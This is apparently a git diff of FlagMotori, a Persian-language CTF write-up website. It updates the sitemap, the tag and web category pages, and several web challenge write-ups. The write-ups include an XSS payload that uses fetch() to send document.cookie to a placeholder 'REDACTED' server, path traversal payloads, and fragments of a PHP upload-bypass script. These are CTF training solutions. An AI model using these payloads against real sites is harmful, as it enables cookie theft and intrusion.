https://FlagMotori.github.io/writeups/misc/writeups/DUCTF/recipe/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/misc/writeups/OSCTF/captured_data/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/misc/writeups/PingCTF/internet-cat/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/misc/writeups/PingCTF/ping-arcade/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/misc/writeups/PingCTF/wow/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/misc/writeups/PingCTF/you-spin-me-round/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/misc/writeups/SnappCTF/SnappOsint/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/misc/writeups/SnappCTF/bandy/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/misc/writeups/SnappCTF/prying-eyes/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/osint/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/osint/Tools/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/osint/writeups/0xL4ughCTF/cheater/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/osint/writeups/wctf/WOLPHV-I/WOLPHV-I-Reconnaissance/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/osint/writeups/wctf/WOLPHV-III/WOLPHV-III-p1nesh4dow48/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/osint/writeups/wctf/WOLPHV-IV/WOLPHV-IV-d4wgbyte262/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/pwn/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/pwn/writeups/SnappCTF/Snapp_admin/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/pwn/writeups/SnappCTF/Snappshell/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/reverse/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/reverse/writeups/BSidesSF/TuringComplete/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/reverse/writeups/BSidesSF/shinji/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/reverse/writeups/BSidesSF/whishing-well/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/reverse/writeups/BackdoorCTF/Sl4ydroid/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/reverse/writeups/DUCTF/jmp_flag/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/reverse/writeups/DUCTF/number_mashing/ - 2024-07-19 + 2024-07-27 + daily + + + https://FlagMotori.github.io/writeups/reverse/writeups/ImaginaryCTF/unconditional/ + 2024-07-27 daily https://FlagMotori.github.io/writeups/reverse/writeups/Incognito_5.0/Vault/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/reverse/writeups/Incognito_5.0/Vault_2/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/reverse/writeups/Incognito_5.0/Vault_3/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/reverse/writeups/SnappCTF/TurnOB/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/reverse/writeups/SnappCTF/blink/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/reverse/writeups/SnappCTF/vitis/ - 2024-07-19 + 2024-07-27 + daily + + + https://FlagMotori.github.io/writeups/reverse/writeups/UIUCTF/summarize/ + 2024-07-27 daily https://FlagMotori.github.io/writeups/steganography/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/web/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/web/writeups/BackdoorCTF/PHP-Sucks/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/web/writeups/PingCTF/internet-explorer/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/web/writeups/PingCTF/path-traversal/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/web/writeups/PingCTF/youtube-trailer/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/web/writeups/SnappCTF/b64/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/web/writeups/SnappCTF/snappcat/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/web/writeups/SnappCTF/snappfal/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/web/writeups/SnappCTF/welcome/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/web/writeups/UIUCTF/log-action/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/web/writeups/mapnaCTF/flag-holding/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/blog/archive/2024/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/blog/category/ctf/ - 2024-07-19 + 2024-07-27 daily https://FlagMotori.github.io/writeups/tags/ - 2024-07-19 + 2024-07-27 daily \ No newline at end of file diff --git a/sitemap.xml.gz b/sitemap.xml.gz index b3eb57a3..a6371c11 100644 Binary files a/sitemap.xml.gz and b/sitemap.xml.gz differ diff --git a/steganography/index.html b/steganography/index.html index 5e2a03c9..0fff978d 100644 --- a/steganography/index.html +++ b/steganography/index.html @@ -1,4 +1,4 @@ - Steganography - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

Steganography

\ No newline at end of file +-->

Steganography

\ No newline at end of file diff --git a/tags/index.html b/tags/index.html index d11ffbbc..2f62dacd 100644 --- a/tags/index.html +++ b/tags/index.html @@ -1,4 +1,4 @@ - برچسب‌ها - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

برچسب ها

در این بخش برچسب های موجود در رایتاپ ها قرار دارد تا بتوانید به راحتی رایتاپ های مختلف را بر اساس عنوان خاص دنبال کنید:

0xL4ughCTF

0xL4ughCTF-2024

AES

AES-ECB

Android

BMP

BSidesSF

BSidesSF 2024

BSidesSF-2024

BYUCTF

BYUCTF-2024

BackdoorCTF

BackdoorCTF-2023

Begineer

BufferOverflow

C

CSP

CTF

CakeCTF

CakeCTF-2023

Canary

Complex Numbers

Content-Type

Coppersmith

Crack

Crypto

Cybercoliseum Ⅲ

DOM-Based XSS

Decimal number

DownUnderCTF

DownUnderCTF-2024

ECB mode

Eliptic Curve

Encoding

Exploit

Extended Euclidean

Extended gcd

Factorzation

Forensics

Frida

GDB

Game_Hacking

Ghunt

HTTP

Hill Cipher

Hooking

JWT

Joplin

Lambda

Mapna CTF

MapnaCTF-2024

Markdown

Meet-in-the-Middle (MITM)

Misc

Modular Binomials

Next.js

OSCTF

OSCTF-2024

OSINT

Osint

PDF

PDFLatex

PHP

PNG

PWN

Partial known m

PingCTF

PingCTF-2023

Pwntools

ROP

RSA

RSA-GCD

RSA-keygen

Random

Reverse

SDCTF

SDCTF-2024

SGI

SSRF

SWP

Sage

Seed

Shell

Signature

SnappCTF

SnappCTF-2024

Steganography

Swagger

TCP1P-2023

TCP1P-CTF

UIU CTF

UIUCTF-2024

Unlambda

Uploader_Bypass

VIM

Web

Word

X-Content-Type-Options

XSS

Yufu

archive.ph

base12

beginner guide

flickr

gmail

google map

half d

half p and q

image coordinates

image location

instagram

sha256

twitter comments

vSCTF

vSCTF-2023

wCTF

wCTF-2024

wctf

wctf-2024

اطلاعات منبع‌باز

انواع چالش رمزنگاری

تاریخچه

راهنمای شروع

رایتاپ نویسی

رمزنگاری

رمزنگاری در CTF

ریاضیات رمزنگاری

قالب

مقدمه

نحوه نگارش

نقطه شروع وب

وب

\ No newline at end of file +-->

برچسب ها

در این بخش برچسب های موجود در رایتاپ ها قرار دارد تا بتوانید به راحتی رایتاپ های مختلف را بر اساس عنوان خاص دنبال کنید:

0xL4ughCTF

0xL4ughCTF-2024

AES

AES-ECB

Android

BMP

BSidesSF

BSidesSF 2024

BSidesSF-2024

BYUCTF

BYUCTF-2024

BackdoorCTF

BackdoorCTF-2023

Begineer

BufferOverflow

C

CSP

CTF

CakeCTF

CakeCTF-2023

Canary

Complex Numbers

Content-Type

Coppersmith

Crack

Crypto

Cybercoliseum Ⅲ

DOM-Based XSS

Decimal number

DownUnderCTF

DownUnderCTF-2024

ECB mode

Eliptic Curve

Encoding

Exploit

Extended Euclidean

Extended gcd

Factorzation

Forensics

Frida

GDB

Game_Hacking

Ghunt

HTTP

Hill Cipher

Hooking

ImaginaryCTF

ImaginaryCTF-2024

JWT

Joplin

Lambda

Mapna CTF

MapnaCTF-2024

Markdown

Meet-in-the-Middle (MITM)

Misc

Modular Binomials

Next.js

OSCTF

OSCTF-2024

OSINT

Osint

PDF

PDFLatex

PHP

PNG

PWN

Partial known m

PingCTF

PingCTF-2023

Pwntools

ROP

RSA

RSA-GCD

RSA-keygen

Random

Reverse

SDCTF

SDCTF-2024

SGI

SSRF

SWP

Sage

Seed

Shell

Signature

SnappCTF

SnappCTF-2024

Steganography

Swagger

TCP1P-2023

TCP1P-CTF

UIU CTF

UIUCTF

UIUCTF-2024

Unlambda

Uploader_Bypass

VIM

Web

Word

X-Content-Type-Options

XSS

Yufu

archive.ph

base12

beginner guide

elf

flickr

gmail

google map

half d

half p and q

image coordinates

image location

instagram

sha256

twitter comments

vSCTF

vSCTF-2023

wCTF

wCTF-2024

wctf

wctf-2024

اطلاعات منبع‌باز

انواع چالش رمزنگاری

تاریخچه

راهنمای شروع

رایتاپ نویسی

رمزنگاری

رمزنگاری در CTF

ریاضیات رمزنگاری

قالب

مقدمه

نحوه نگارش

نقطه شروع وب

وب

\ No newline at end of file diff --git a/web/index.html b/web/index.html index 05013574..0895313d 100644 --- a/web/index.html +++ b/web/index.html @@ -1,4 +1,4 @@ - وب - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

وب

وقتی می‌گیم چلنج یا چالش وب, دقیقا از چی صحبت می‌کنیم؟

دسته‌بندی وب, یکی از رایج‌ترین, یا بهتره بگیم رایج‌ترین دسته در مسابقات فتح پرچم هست که هدف‌ از این دسته پیدا کردن و اکسپلویت کردن آسیب پذیری‌های اپلیکیشن‌های تحت وب و در نهایت رسیدن به فلگ و دریافت امتیاز اون چلنج هست.
بازی کردن و حل کردن این نوع چالش‌ها می‌تونه شما رو با ابزار‌ها, بایپس‌ها و متد‌های مختلف آشنا کنه و در کنارش بهتون سورس کد خوانی در زبان‌های برنامه نویسی مختلف رو یاد بده که در کل این‌ها می‌تونن خیلی برای ارتقا دانش وب هکینگ شما در اپلیکیشن‌های واقعی مفید باشند (دیدم که می‌گم. به شرط اینکه با سناریو‌های realworld هم آشنا باشید); پس اگر احیانا بهتون گفتند که این‌ها فقط بازی هستند و توی دنیای واقعی کاربردی ندارند, باور نکنید.

 

دانش مورد نیاز برای شروع این حوزه چیه؟

درک ساختار وب: تا بحال به این فکر کردید که مرورگر چطوری یک وبسایت رو render می‌کنه؟ صفحه‌ای که به شما نشون داده می‌شه متشکل از HTML, CSS و Javascript هست, لذا لازمه که تا حدودی باهاشون آشنا باشید (CSS مهم نیست و بخش اصلی HTML و Javascript هست.). هرچقدر بیشتر Javascript بلد باشید به مرور متوجه می‌شید که چقدر می‌تونه کمک‌تون بکنه. توجه داشته باشید که شما نمی‌خواید یک طراح حرفه‌ای وبسایت بشید, در نتیجه تا حدی یاد بگیرید که کارتون رو راه بندازه و بعد هروقت لازم شد, دوباره برگردید و چیز‌هایی رو که نیاز هست یاد بگیرید.

درک پروتکل HTTP: برای ورود به این حوزه باید حتما باید یک درک حداقلی از پروتکل HTTP داشته باشید چون تمام وب بر روی همین پروتکل سوار هست و تا ندونید که چطوری کار می‌کنه سردرگرم خواهید بود.

درک برنامه نویسی: از اونجایی که خیلی از چلنج‌ها حاوی سورس کد هستند, باید توانایی خواندن سورس کد و درک اون رو داشته باشید. پس خیلی خوبه که حداقل با یکی از زبان‌های برنامه نویسی تحت وب آشنایی داشته باشید. فرض کنید یک چلنج طراحی شده که حاوی کد Node.js هست, دقت کنید که مهم اینه که بتونید این کد رو درک کنید و پی ببرید که داره چکار می‌کنه, و لزومی نداره که بتونید با این زبان یک وبسایت بنویسید. باز‌ هم تاکید می‌کنم که شما نمی‌خواید یک طراح وبسایت بشید.

درک حداقلی از آسیب پذیری‌های مبتنی بر وب:  بعد از گذروندن مراحل بالا, حالا وقتش رسیده که برید سر قسمت پرهیجان و اصلی ماجرا, یعنی حملات و آسیب پذیری‌های رایج اپلیکیشن‌های وب! شما برای اینکه بتونید یک آسیب پذیری‌ رو پیدا و سپس اکسپلویت کنید, باید بدونید اون آسیب پذیری چیه, چطوری بوجود میاد, و چطوری می‌شه اکسپلویتش کرد. برای آشنایی با این بخش می‌تونید از OWASP TOP10 شروع کنید. این پروژه رایج‌ترین ریسک‌ها رو در دنیای امنیت وب به ده بخش تقسیم کرده که می‌تونید هر بخش رو جدا جدا سرچ کنید و یاد بگیرید.
پیشنهاد می‌کنم کتاب Web Application Security, نوشته Andrew Hoffman رو هم از دست ندید. این کتاب آسیب پذیری‌های وب رو هم از دید تهاجمی, و هم از دید تدافعی مورد بررسی قرار داده و مطالعه اون می‌تونه دیدتون رو خیلی باز‌تر بکنه.

 

حل چلنج‌های CTF در حوزه وب, چه فایده‌ای داره وقتی می‌تونم هانت کنم و پول در بیارم؟

بیاید این مسئله رو باز‌تر کنیم...
وقتی شما دانش وب هکینگ دارید, می‌تونید کار‌های مختلفی بکنید, از جمله تست نفوذ, هانت, رد تیم و... که همشون در دنیای واقعی انجام می‌شن. حالا بیاید به CTF در قالب یک تمرین, دستگرمی و بازی نگاه کنیم. چلنج‌های وب یک محیط شبیه سازی شده از سناریو‌های مختلف از خیلی آسون, تا خیلی سخت در اختیار شما قرار می‌دند. این سناریو‌ها بعضا در دنیای واقعی پیش میان, و بعضا فقط محدود به دنیای CTF هستند. تمرین و تکرار چلنج‌ها و سوالات مختلف می‌تونه به حضور ذهن شما کمک فراوانی بکنه و منجر بشه وقتی در اپلیکیشن‌های وب واقعی با یک مکانیزم روبرو شدید, سناریو‌های مختلفی براش داشته باشید و دست پر به جنگش برید.
مورد بعدی که می‌تونم بهش اشاره کنم, افزایش مهارت و عمیق‌تر شدن دانش شما در وب هکینگ هست. همونطور که در توضیحات اول صفحه گفتم, این دسته از سوالات می‌تونن مهارت‌های مختلفی رو در شما پرورش بدند. شما کجا میخواید این همه سورس کد راحت و پیچیده ببینید و بشینید تحلیل‌شون کنید؟! D: 


از کجا شروع کنم؟

اگر شما هم علاقمند هستید که دستی به حوزه وب ببرید, پیشنهادم به شما picoCTF هست.picoCTF مسابقه‌ای هست که سالانه برگزار می‌شه و سوالاتش هم کاملا مناسب برای افراد مبتدی و تازه کار هستند, و نکته جالش هم این هست که بعد از اتمام زمان مسابقه, چلنج‌ها قابل دسترسی هستند و می‌تونید شروع به حل کردن بکنید.
سعی کنید زمان بذارید و نا امید نشید, اگر صدتون رو گذاشتید و نتونستید چلنجی رو حل کنید, سرچ کنید و رایتاپش رو بخونید.

\ No newline at end of file +-->

وب

وقتی می‌گیم چلنج یا چالش وب, دقیقا از چی صحبت می‌کنیم؟

دسته‌بندی وب, یکی از رایج‌ترین, یا بهتره بگیم رایج‌ترین دسته در مسابقات فتح پرچم هست که هدف‌ از این دسته پیدا کردن و اکسپلویت کردن آسیب پذیری‌های اپلیکیشن‌های تحت وب و در نهایت رسیدن به فلگ و دریافت امتیاز اون چلنج هست.
بازی کردن و حل کردن این نوع چالش‌ها می‌تونه شما رو با ابزار‌ها, بایپس‌ها و متد‌های مختلف آشنا کنه و در کنارش بهتون سورس کد خوانی در زبان‌های برنامه نویسی مختلف رو یاد بده که در کل این‌ها می‌تونن خیلی برای ارتقا دانش وب هکینگ شما در اپلیکیشن‌های واقعی مفید باشند (دیدم که می‌گم. به شرط اینکه با سناریو‌های realworld هم آشنا باشید); پس اگر احیانا بهتون گفتند که این‌ها فقط بازی هستند و توی دنیای واقعی کاربردی ندارند, باور نکنید.

 

دانش مورد نیاز برای شروع این حوزه چیه؟

درک ساختار وب: تا بحال به این فکر کردید که مرورگر چطوری یک وبسایت رو render می‌کنه؟ صفحه‌ای که به شما نشون داده می‌شه متشکل از HTML, CSS و Javascript هست, لذا لازمه که تا حدودی باهاشون آشنا باشید (CSS مهم نیست و بخش اصلی HTML و Javascript هست.). هرچقدر بیشتر Javascript بلد باشید به مرور متوجه می‌شید که چقدر می‌تونه کمک‌تون بکنه. توجه داشته باشید که شما نمی‌خواید یک طراح حرفه‌ای وبسایت بشید, در نتیجه تا حدی یاد بگیرید که کارتون رو راه بندازه و بعد هروقت لازم شد, دوباره برگردید و چیز‌هایی رو که نیاز هست یاد بگیرید.

درک پروتکل HTTP: برای ورود به این حوزه باید حتما باید یک درک حداقلی از پروتکل HTTP داشته باشید چون تمام وب بر روی همین پروتکل سوار هست و تا ندونید که چطوری کار می‌کنه سردرگرم خواهید بود.

درک برنامه نویسی: از اونجایی که خیلی از چلنج‌ها حاوی سورس کد هستند, باید توانایی خواندن سورس کد و درک اون رو داشته باشید. پس خیلی خوبه که حداقل با یکی از زبان‌های برنامه نویسی تحت وب آشنایی داشته باشید. فرض کنید یک چلنج طراحی شده که حاوی کد Node.js هست, دقت کنید که مهم اینه که بتونید این کد رو درک کنید و پی ببرید که داره چکار می‌کنه, و لزومی نداره که بتونید با این زبان یک وبسایت بنویسید. باز‌ هم تاکید می‌کنم که شما نمی‌خواید یک طراح وبسایت بشید.

درک حداقلی از آسیب پذیری‌های مبتنی بر وب:  بعد از گذروندن مراحل بالا, حالا وقتش رسیده که برید سر قسمت پرهیجان و اصلی ماجرا, یعنی حملات و آسیب پذیری‌های رایج اپلیکیشن‌های وب! شما برای اینکه بتونید یک آسیب پذیری‌ رو پیدا و سپس اکسپلویت کنید, باید بدونید اون آسیب پذیری چیه, چطوری بوجود میاد, و چطوری می‌شه اکسپلویتش کرد. برای آشنایی با این بخش می‌تونید از OWASP TOP10 شروع کنید. این پروژه رایج‌ترین ریسک‌ها رو در دنیای امنیت وب به ده بخش تقسیم کرده که می‌تونید هر بخش رو جدا جدا سرچ کنید و یاد بگیرید.
پیشنهاد می‌کنم کتاب Web Application Security, نوشته Andrew Hoffman رو هم از دست ندید. این کتاب آسیب پذیری‌های وب رو هم از دید تهاجمی, و هم از دید تدافعی مورد بررسی قرار داده و مطالعه اون می‌تونه دیدتون رو خیلی باز‌تر بکنه.

 

حل چلنج‌های CTF در حوزه وب, چه فایده‌ای داره وقتی می‌تونم هانت کنم و پول در بیارم؟

بیاید این مسئله رو باز‌تر کنیم...
وقتی شما دانش وب هکینگ دارید, می‌تونید کار‌های مختلفی بکنید, از جمله تست نفوذ, هانت, رد تیم و... که همشون در دنیای واقعی انجام می‌شن. حالا بیاید به CTF در قالب یک تمرین, دستگرمی و بازی نگاه کنیم. چلنج‌های وب یک محیط شبیه سازی شده از سناریو‌های مختلف از خیلی آسون, تا خیلی سخت در اختیار شما قرار می‌دند. این سناریو‌ها بعضا در دنیای واقعی پیش میان, و بعضا فقط محدود به دنیای CTF هستند. تمرین و تکرار چلنج‌ها و سوالات مختلف می‌تونه به حضور ذهن شما کمک فراوانی بکنه و منجر بشه وقتی در اپلیکیشن‌های وب واقعی با یک مکانیزم روبرو شدید, سناریو‌های مختلفی براش داشته باشید و دست پر به جنگش برید.
مورد بعدی که می‌تونم بهش اشاره کنم, افزایش مهارت و عمیق‌تر شدن دانش شما در وب هکینگ هست. همونطور که در توضیحات اول صفحه گفتم, این دسته از سوالات می‌تونن مهارت‌های مختلفی رو در شما پرورش بدند. شما کجا میخواید این همه سورس کد راحت و پیچیده ببینید و بشینید تحلیل‌شون کنید؟! D: 


از کجا شروع کنم؟

اگر شما هم علاقمند هستید که دستی به حوزه وب ببرید, پیشنهادم به شما picoCTF هست.picoCTF مسابقه‌ای هست که سالانه برگزار می‌شه و سوالاتش هم کاملا مناسب برای افراد مبتدی و تازه کار هستند, و نکته جالش هم این هست که بعد از اتمام زمان مسابقه, چلنج‌ها قابل دسترسی هستند و می‌تونید شروع به حل کردن بکنید.
سعی کنید زمان بذارید و نا امید نشید, اگر صدتون رو گذاشتید و نتونستید چلنجی رو حل کنید, سرچ کنید و رایتاپش رو بخونید.

\ No newline at end of file diff --git a/web/writeups/BackdoorCTF/PHP-Sucks/index.html b/web/writeups/BackdoorCTF/PHP-Sucks/index.html index e9641bed..e15550c9 100644 --- a/web/writeups/BackdoorCTF/PHP-Sucks/index.html +++ b/web/writeups/BackdoorCTF/PHP-Sucks/index.html @@ -1,4 +1,4 @@ - PHP Sucks - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups

PHP Sucks

آرشیو چلنج

import re
@@ -17,4 +17,4 @@
         print(i, requests.get(url).content)
     except:
         pass
-

یه کد بایپس آپلود ساده که بر اساس magic byte های png داره بایپس میکنه

سر اسم فایل آپلود شده یکم چالش بر انگیز بود که معلوم شد کاراکتر $ میتونه باعث بشه که فایل png بره سمت php handler و کد اکسپلویت اجرا بشه

از اونجایی که این کاراکتر بهمون وحی نشده، کد رو بصورت فازر نوشتم و پیداش کردم =))

نویسنده

SafaSafari

\ No newline at end of file +

یه کد بایپس آپلود ساده که بر اساس magic byte های png داره بایپس میکنه

سر اسم فایل آپلود شده یکم چالش بر انگیز بود که معلوم شد کاراکتر $ میتونه باعث بشه که فایل png بره سمت php handler و کد اکسپلویت اجرا بشه

از اونجایی که این کاراکتر بهمون وحی نشده، کد رو بصورت فازر نوشتم و پیداش کردم =))

نویسنده

SafaSafari

\ No newline at end of file diff --git a/web/writeups/PingCTF/internet-explorer/index.html b/web/writeups/PingCTF/internet-explorer/index.html index d11db382..5208c4a4 100644 --- a/web/writeups/PingCTF/internet-explorer/index.html +++ b/web/writeups/PingCTF/internet-explorer/index.html @@ -1,4 +1,4 @@ - Internet explorer - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups
\ No newline at end of file +-->

Internet explorer

User-Agent: Mozilla/5.0 (Linux; Trident/7.0; rv:11.0) like Gecko

نویسنده

SafaSafari

\ No newline at end of file diff --git a/web/writeups/PingCTF/path-traversal/index.html b/web/writeups/PingCTF/path-traversal/index.html index 8cce0883..0ee6117e 100644 --- a/web/writeups/PingCTF/path-traversal/index.html +++ b/web/writeups/PingCTF/path-traversal/index.html @@ -1,4 +1,4 @@ - Path traversal - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups
\ No newline at end of file +-->

Path traversal

آرشیو چلنج

User-Agent: robot got from source

Path: /🤖 got from robots.txt

payload 1: /robot/../flag/ss/..

payload 2,3 😂 : /flag/ss/..

نویسنده

SafaSafari

\ No newline at end of file diff --git a/web/writeups/PingCTF/youtube-trailer/index.html b/web/writeups/PingCTF/youtube-trailer/index.html index df7757b1..ea994f5a 100644 --- a/web/writeups/PingCTF/youtube-trailer/index.html +++ b/web/writeups/PingCTF/youtube-trailer/index.html @@ -1,4 +1,4 @@ - Youtube trailer - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups
\ No newline at end of file +-->

Youtube trailer

check video tags

نویسنده

SafaSafari

\ No newline at end of file diff --git a/web/writeups/SnappCTF/b64/index.html b/web/writeups/SnappCTF/b64/index.html index d7898032..bd4a47fa 100644 --- a/web/writeups/SnappCTF/b64/index.html +++ b/web/writeups/SnappCTF/b64/index.html @@ -1,4 +1,4 @@ - b64 - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

Snapp cat

b64.png

توضیح حل چالش

کد سرور توی این سوال به ما داده شده و ما میتونیم اونو دانلود کنیم:

#!/usr/bin/env node
@@ -51,4 +51,4 @@
 buffer, ct = base64.b64encode(p.encode()).decode(), "text/xml"
 d = requests.get(url, params={'buf':buffer, 'ct': ct})
 print(d.url)
-

به جای REDACTED از آدرس سرور خودتون استفاده کنین و بعد از اجرای کد بالا بهتون یه آدرس میده که اون رو میتونین بدین به بات تا فلگ رو براتون بفرسته

FLAG 🚩

SNAPP{9a952b93a0f0ad23304547c4de2025fb}

نویسنده

amir303

\ No newline at end of file +

به جای REDACTED از آدرس سرور خودتون استفاده کنین و بعد از اجرای کد بالا بهتون یه آدرس میده که اون رو میتونین بدین به بات تا فلگ رو براتون بفرسته

FLAG 🚩

SNAPP{9a952b93a0f0ad23304547c4de2025fb}

نویسنده

amir303

\ No newline at end of file diff --git a/web/writeups/SnappCTF/snappcat/index.html b/web/writeups/SnappCTF/snappcat/index.html index d02d736e..620c654b 100644 --- a/web/writeups/SnappCTF/snappcat/index.html +++ b/web/writeups/SnappCTF/snappcat/index.html @@ -1,4 +1,4 @@ - Snapp cat - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

Snapp cat

snappcat.png

قدم های حل چالش:

  1. ثبت نام یک کاربر رندوم
  2. دریافت کد sha256 برای لاگین کردن
  3. کرک کردن کد sha256 برای لاگین شدن
  4. جنریت کردن کد برای وریفای کردن ایمیل
  5. گرفتن کد وریفای ایمیل در کوکی
  6. گرفتن شماره تلفن ادمین
  7. فراید لاگین به وسیله شماره تلفن ادمین
  8. ساختن یه گربه!
  9. خوندن کد js سرور
  10. دریافت کد سکرت json-web-token و ست کردن کوکی برای گرفتن فلگ

برای حل این سوال من یک اسکریپت پایتون آماده کردم که میتونین از روی اون سوال رو حل کنین و بررسی کنین که چه اتفاقی میوفته

بعد از دانلود فایل پایتون:

$ python3 snappcat.py
@@ -32,4 +32,4 @@
 [+] update jwt session
 [+] reading flag xd
 FLAG: SNAPP{7dc998269394314896af6378f15c2c12}
-
FLAG 🚩

SNAPP{7dc998269394314896af6378f15c2c12}

نویسنده

amir303

\ No newline at end of file +
FLAG 🚩

SNAPP{7dc998269394314896af6378f15c2c12}

نویسنده

amir303

\ No newline at end of file diff --git a/web/writeups/SnappCTF/snappfal/index.html b/web/writeups/SnappCTF/snappfal/index.html index 6f4557b6..eee7fc99 100644 --- a/web/writeups/SnappCTF/snappfal/index.html +++ b/web/writeups/SnappCTF/snappfal/index.html @@ -1,4 +1,4 @@ - Snapp fal - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups

Snapp fal!

snappfal.png

همینطور که میبینین این یه چالش XSS هستش که باید سعی کنیم کوکی های ادمین رو بخونیم و برای خودمون بفرستیم

بعد از باز کردن آدرس وبسایت ما با این صفحه روبرو میشیم

snappfal1.png

اگه روی دکمه نشون بده کلیک کنین وارد یه صفحه میشین که آدرسش به این صورت هستش:

‍‍https://snappfal.spchallenge.ir/fal?back=/&fal=some-random-text-here

که توی اون صفحه بهتون متن فال رو نشون میده که (همون چیزی هستش که توی پارامتر fal قرار داره) و بعد از چند ثانیه به آدرسی که توی پارامتر back قرار داره ریدایرکت میشیم

برای این سوال به ما سورس چالش رو دادن که میتونین اون رو دانلود کنین و اگه به فایل src.js دقت کنیم که چطوری فال هارو برای ما نشون میده و چطوری مارو ریدایرکت میکنه

#!/usr/bin/env node
@@ -92,4 +92,4 @@
 </html>
 

خب مثله اینکه ادرسی که ما بهش میدیم میره مستقیم میشینه توی document.location ، پس اگه از javascript scheme استفاده کنیم میتونیم XSS بگیریم

ضمن اینکه توضیحات چالش هم به ما یه جورایی هینت داده و این آدرس رو بهمون داده تا یه نگاهی بهش بندازیم

/fal?javascript:fetch(`https://REDACTED?flag${document.cookie}`)
 

به جای REDACTED آدرسی سرور خودتون رو بزارین تا فلگ براتون ارسال بشه یا اینکه از webhook.site استفاده کنین

حالا کافیه که آدرس رو بدیم به ادرس بات که برامون فلگ رو بفرسته xd

final addr: https://snappfal.spchallenge.ir/fal?back=javascript:fetch(`https://REDACTED?flag${document.cookie}`)
-
FLAG 🚩

SNAPP{89d36f80b85bde916fbdeb8592c1b368}

نویسنده

amir303

\ No newline at end of file +
FLAG 🚩

SNAPP{89d36f80b85bde916fbdeb8592c1b368}

نویسنده

amir303

\ No newline at end of file diff --git a/web/writeups/SnappCTF/welcome/index.html b/web/writeups/SnappCTF/welcome/index.html index 45b62b7e..87e11252 100644 --- a/web/writeups/SnappCTF/welcome/index.html +++ b/web/writeups/SnappCTF/welcome/index.html @@ -1,4 +1,4 @@ - Welcome - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups

Welcome

برای حل این چالش به ما یه آدرس وب دادن

welcome.png

خب بعد از باز کردن آدرس تو وبسایت با این صفحه روبرو میشویم

welcome1.png

برای حل این چالش ما باید دنبال بخش های مختلف فلگ بگردیم ، که بخش اولش تو صفحه اول نمایش داده شده ، برای بخش دوم کافیه که page source رو یه نگاهی بندازیم ، پس وارد آدرس زیر میشیم

view-source:https://welcome.spchallenge.ir

بعد از وارد شدن به این آدرس ، بخش دوم فلگ رو به صورت کامنت شده میبینین:

‍‍<!-- 2nd part: `700_h4rd_1` -->

در نهایت بخش سوم هم توی هدر های ریسپانس ریکویست GET هستش که اگه با مرورگر هستین تو بخش network میتونین اون رو پیدا کنین یا اگه با Burp هستین تو بخش Intercept میتونین اونو پیدا کنین (اگه با curl ریکویست رو بزنیم میتونیم از -v استفاده کنیم که verbose میکنه و هدر های ریسپانس رو میتونیم مشاهده کنیم):

$ curl https://welcome.spchallenge.ir/ -v
@@ -13,4 +13,4 @@
 < cf-ray: 85a628897d7741ac-EWR
 < alt-svc: h3=":443"; ma=86400
 ...
-

میبینین که بخش سوم هم با اسم flag-3rd-part توی هدر ها ارسال شده است

FLAG 🚩

